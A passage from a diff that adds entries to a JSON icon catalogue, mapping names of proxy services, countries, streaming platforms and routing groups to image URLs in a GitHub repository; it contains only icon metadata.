"https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/SeseEmby1.png" + }, + { + "name": "ShenLan", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/ShenLan.png" + }, + { + "name": "ShenLan1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/ShenLan1.png" + }, + { + "name": "ShenNong", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/ShenNong.png" + }, + { + "name": "ShuiMu", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/ShuiMu.png" + }, + { + "name": "ShuiMu1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/ShuiMu1.png" + }, + { + "name": "Singularity", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Singularity.png" + }, + { + "name": "StarCat", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/StarCat.png" + }, + { + "name": "StudyFun", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/StudyFun.png" + }, + { + "name": "StudyFun1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/StudyFun1.png" + }, + { + "name": "Tag", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Tag.png" + }, + { + "name": "Tank", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Tank.png" + }, + { + "name": "Teka", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Teka.png" + }, + { + "name": "Temby", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Temby.png" + }, + { + "name": "Temby1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Temby1.png" + }, + { + "name": "Terminus", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Terminus.png" + }, + { + "name": "Texon", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Texon.png" + }, + { + "name": "Tls", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Tls.png" + }, + { + "name": "TreeDiagram", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/TreeDiagram.png" + }, + { + "name": "V6", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/V6.png" + }, + { + "name": "Video4lib", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Video4lib.png" + }, + { + "name": "Viper", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Viper.png" + }, + { + "name": "WangZhe", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/WangZhe.png" + }, + { + "name": "Webdav", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Webdav.png" + }, + { + "name": "WeiWei", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/WeiWei.png" + }, + { + "name": "XfEmby", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/XfEmby.png" + }, + { + "name": "XfEmby1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/XfEmby1.png" + }, + { + "name": "XiangGangLiShiJie", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/XiangGangLiShiJie.png" + }, + { + "name": "Xiaoyi", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Xiaoyi.png" + }, + { + "name": "Xltx", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Xltx.png" + }, + { + "name": "Xmss", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Xmss.png" + }, + { + "name": "Xop", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Xop.png" + }, + { + "name": "YeJiChang", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/YeJiChang.png" + }, + { + "name": "YeJiFu", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/YeJiFu.png" + }, + { + "name": "ZhiPianRen", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/ZhiPianRen.png" + }, + { + "name": "ZhiPianRen1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/ZhiPianRen1.png" + }, + { + "name": "ZhiPianRen2", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/ZhiPianRen2.png" + }, + { + "name": "Ziling", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Ziling.png" + }, + { + "name": "Zox", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Zox.png" + }, + { + "name": "Naiyou", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Naiyou.png" + }, + { + "name": "IMM", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/IMM.png" + }, + { + "name": "Kuromis", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Kuromis.png" + }, + { + "name": "AMY", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/AMY.png" + }, + { + "name": "Ytoo1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Ytoo1.png" + }, + { + "name": "Flowercloud", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Flowercloud.png" + }, + { + "name": "Texon1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Texon1.png" + }, + { + "name": "Texon3", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Texon3.png" + }, + { + "name": "Shutiao", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Shutiao.png" + }, + { + "name": "Wd1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Wd1.png" + }, + { + "name": "Tag", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Tag.png" + }, + { + "name": "BBbus", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/BBbus.png" + }, + { + "name": "Bitz", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Bitz.png" + }, + { + "name": "Meiying1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Meiying1.png" + }, + { + "name": "xs", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Xsus.png" + }, + { + "name": "xfss1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/xfss1.png" + }, + { + "name": "Boom", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Boom.png" + }, + { + "name": "TNTV2", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/TNTV2.png" + }, + { + "name": "EF", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/EF.png" + }, + { + "name": "EF2", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/EF2.png" + }, + { + "name": "Yiri1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Yiri1.png" + }, + { + "name": "Fishport0", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Fishport0.png" + }, + { + "name": "Fishchip", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Fishchip.png" + }, + { + "name": "Suwa", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Suwa.png" + }, + { + "name": "Bywave", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Bywave.png" + }, + { + "name": "CT1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/CT1.png" + }, + { + "name": "Mojie", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Mojie2.png" + }, + { + "name": "Flyingbird", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Flyingbird.png" + }, + { + "name": "Renzheyun", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Renzheyun.png" + }, + { + "name": "Xianyu13", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Xianyu13.png" + }, + { + "name": "BYG", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/BYG.png" + }, + { + "name": "Titan1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Titan1.png" + }, + { + "name": "MIlk", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/MIlk.png" + }, + { + "name": "Cream2", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Cream2.png" + }, + { + "name": "Paofu2", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Paofu2.png" + }, + { + "name": "Flybird", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Flybird.png" + }, + { + "name": "Xray", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Xray.png" + }, + { + "name": "WYY", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/WYY.png" + }, + { + "name": "Xingjiabi", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Xingjiabi.png" + }, + { + "name": "DJ", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/DJ.png" + }, + { + "name": "Lightcat", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Lightcat.png" + }, + { + "name": "Fishport", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Fishport.png" + }, + { + "name": "Bigairport", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Bigairport.png" + }, + { + "name": "Alink", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Alink.png" + }, + { + "name": "Jiji", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Jiji.png" + }, + { + "name": "Catnet", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Catnet.png" + }, + { + "name": "Gatern", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Gatern.png" + }, + { + "name": "Ark", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Ark.png" + }, + { + "name": "Paoluyun", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Paoluyun.png" + }, + { + "name": "V4", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/V4.png" + }, + { + "name": "Liying", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Liying.png" + }, + { + "name": "Fast", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Fast.png" + }, + { + "name": "Bajie", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Bajie.png" + }, + { + "name": "Kuayue", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Kuayue.png" + }, + { + "name": "Anyland", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Anyland.png" + }, + { + "name": "Jumao", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Jumao.png" + }, + { + "name": "Jiji", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Jiji.png" + }, + { + "name": "ELE", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/ELE.png" + }, + { + "name": "Coffee2", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Coffee2.png" + }, + { + "name": "Qingliang", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Qingliang.png" + }, + { + "name": "Liangyuandian", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Liangyuandian.png" + }, + { + "name": "Scr", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Scr.png" + }, + { + "name": "Kaochang", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Kaochang.png" + }, + { + "name": "Mofaxueyuan", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Mofaxueyuan.png" + }, + { + "name": "Bailanyun", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Bailanyun.png" + }, + { + "name": "Suannai", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Suannai.png" + }, + { + "name": "Miaosu", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Miaosu.png" + }, + { + "name": "Guoji", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Guoji.png" + }, + { + "name": "Taoli", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Taoli.png" + }, + { + "name": "ENET", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/ENET.png" + }, + { + "name": "BK", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/BK.png" + }, + { + "name": "Qingning", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Qingning.png" + }, + { + "name": "Windy1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Windy1.png" + }, + { + "name": "Sifei", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Sifei.png" + }, + { + "name": "yy1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/yiyuan1.png" + }, + { + "name": "Peiqian", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Peiqian.png" + }, + { + "name": "KQS", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/KQS.png" + }, + { + "name": "Mihuan1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Mihuan1.png" + }, + { + "name": "XNY", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/XNY.png" + }, + { + "name": "YYZ", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/YYZ.png" + }, + { + "name": "VV", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/VV.png" + }, + { + "name": "MESL", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/MESL.png" + }, + { + "name": "ETON", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/ETON.png" + }, + { + "name": "Linkcube2", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Linkcube2.png" + }, + { + "name": "BBQ", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/BBQ.png" + }, + { + "name": "SKNP", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/SKNP.png" + }, + { + "name": "Coffee1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Coffee1.png" + }, + { + "name": "MTC", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/MTC.png" + }, + { + "name": "Kitty1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Kitty1.png" + }, + { + "name": "Sese", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Sese.png" + }, + { + "name": "Xiaoheizi", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Xiaoheizi.png" + }, + { + "name": "Jiji1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Jiji1.png" + }, + { + "name": "Xiaoheizi1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Xiaoheizi1.png" + }, + { + "name": "Dingdangamo", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/Twoandz9/Dingdangamo.png" + }, + { + "name": "Prpr", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Prpr.png" + }, + { + "name": "花云", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/huacloud.png" + }, + { + "name": "少数派", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Ssp.png" + }, + { + "name": "Element", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Element.png" + }, + { + "name": "溜冰猫", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Skicat.png" + }, + { + "name": "白月光", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/baiyueguang.png" + }, + { + "name": "P跑路", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Paolu.png" + }, + { + "name": "火星联盟", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Hxlm.png" + }, + { + "name": "Kele", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/kele.png" + }, + { + "name": "CN", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/CN.png" + }, + { + "name": "HK02", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/HK02.png" + }, + { + "name": "TW02", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/TW.png" + }, + { + "name": "JP", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/JP.png" + }, + { + "name": "KR", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/KR.png" + }, + { + "name": "SG", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/SG.png" + }, + { + "name": "US", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/US.png" + }, + { + "name": "UK", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/UK.png" + }, + { + "name": "AR", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/AR.png" + }, + { + "name": "AU", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/AU.png" + }, + { + "name": "CA", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/CA.png" + }, + { + "name": "DE", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/DE.png" + }, + { + "name": "FR", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/FR.png" + }, + { + "name": "IN", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/IN.png" + }, + { + "name": "IT", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/IT.png" + }, + { + "name": "LU", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/LU.png" + }, + { + "name": "MN", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/MN.png" + }, + { + "name": "RU", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/RU.png" + }, + { + "name": "TR", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/TR.png" + }, + { + "name": "AdBlock", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/AdBlock.png" + }, + { + "name": "Reject", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Reject.png" + }, + { + "name": "BGP", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/BGP.png" + }, + { + "name": "DIA", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/DIA.png" + }, + { + "name": "IEPL", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/IEPL.png" + }, + { + "name": "IPLC", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/IPLC.png" + }, + { + "name": "Outside", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Outside.png" + }, + { + "name": "Auto", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Auto.png" + }, + { + "name": "Final", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Final.png" + }, + { + "name": "Final01", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Final01.png" + }, + { + "name": "Proxy", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Proxy.png" + }, + { + "name": "Direct", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Direct.png" + }, + { + "name": "SSID", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/SSID.png" + }, + { + "name": "Mainland", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Mainland.png" + }, + { + "name": "CMedia", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/CMedia.png" + }, + { + "name": "Aiqiyi", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Aiqiyi.png" + }, + { + "name": "Bilibili", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Bilibili.png" + }, + { + "name": "Netease", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Netease.png" + }, + { + "name": "NeteaseUnblock", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/NeteaseUnblock.png" + }, + { + "name": "QQvideo", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/QQvideo.png" + }, + { + "name": "GMedia", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/GMedia.png" + }, + { + "name": "Disney+", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Disney+.png" + }, + { + "name": "Emby", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Emby.png" + }, + { + "name": "HBO", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/HBO.png" + }, + { + "name": "Hulu", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Hulu.png" + }, + { + "name": "Netflix", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Netflix.png" + }, + { + "name": "Pornhub", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Pornhub.png" + }, + { + "name": "PrimeVideo", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/PrimeVideo.png" + }, + { + "name": "SSport+", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/SSport+.png" + }, + { + "name": "Star+", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Star+.png" + }, + { + "name": "Tiktok", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Tiktok.png" + }, + { + "name": "TVBAnywhere+", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/TVBAnywhere+.png" + }, + { + "name": "Youtube", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Youtube.png" + }, + { + "name": "Apple", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Apple.png" + }, + { + "name": "AppleNews", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/AppleNews.png" + }, + { + "name": "Amazon", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Amazon.png" + }, + { + "name": "Clubhouse", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Clubhouse.png" + }, + { + "name": "Google", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Google.png" + }, + { + "name": "Instagram", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Instagram.png" + }, + { + "name": "Microsoft", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Microsoft.png" + }, + { + "name": "Paypal", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Paypal.png" + }, + { + "name": "Speedtest", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Speedtest.png" + }, + { + "name": "TestFlight", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/TestFlight.png" + }, + { + "name": "TestFlight", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/testflight.png" + }, + { + "name": "Telegram", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Telegram.png" + }, + { + "name": "Whatsapp", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Whatsapp.png" + }, + { + "name": "Weibo", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Weibo.png" + }, + { + "name": "Game", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/Game.png" + }, + { + "name": "LoL", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/LoL.png" + }, + { + "name": "OpenL", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/OpenL.jpeg" + }, + { + "name": "byg", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/byg.jpeg" + }, + { + "name": "dedipath", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/dedipath.jpeg" + }, + { + "name": "edc", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/edc.png" + }, + { + "name": "element", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/element.jpeg" + }, + { + "name": "frog", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/frog.jpeg" + }, + { + "name": "huacloud", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/huacloud.jpeg" + }, + { + "name": "ihezu", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/ihezu.jpeg" + }, + { + "name": "jwt", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/jwt.jpeg" + }, + { + "name": "kele", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/kele.jpeg" + }, + { + "name": "mtv", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/mtv.jpeg" + }, + { + "name": "nex", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/nex.jpeg" + }, + { + "name": "nfpro", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/nfpro.jpeg" + }, + { + "name": "nftwon", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/nftwon.jpeg" + }, + { + "name": "nfxiaopu", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/nfxiaopu.jpeg" + }, + { + "name": "scrssr", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/scrssr.jpeg" + }, + { + "name": "tag", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/tag.jpeg" + }, + { + "name": "xqcloud", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/xqcloud.jpeg" + }, + { + "name": "yukimo", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/erdongchanyo/yukimo.jpeg" + }, + { + "name": 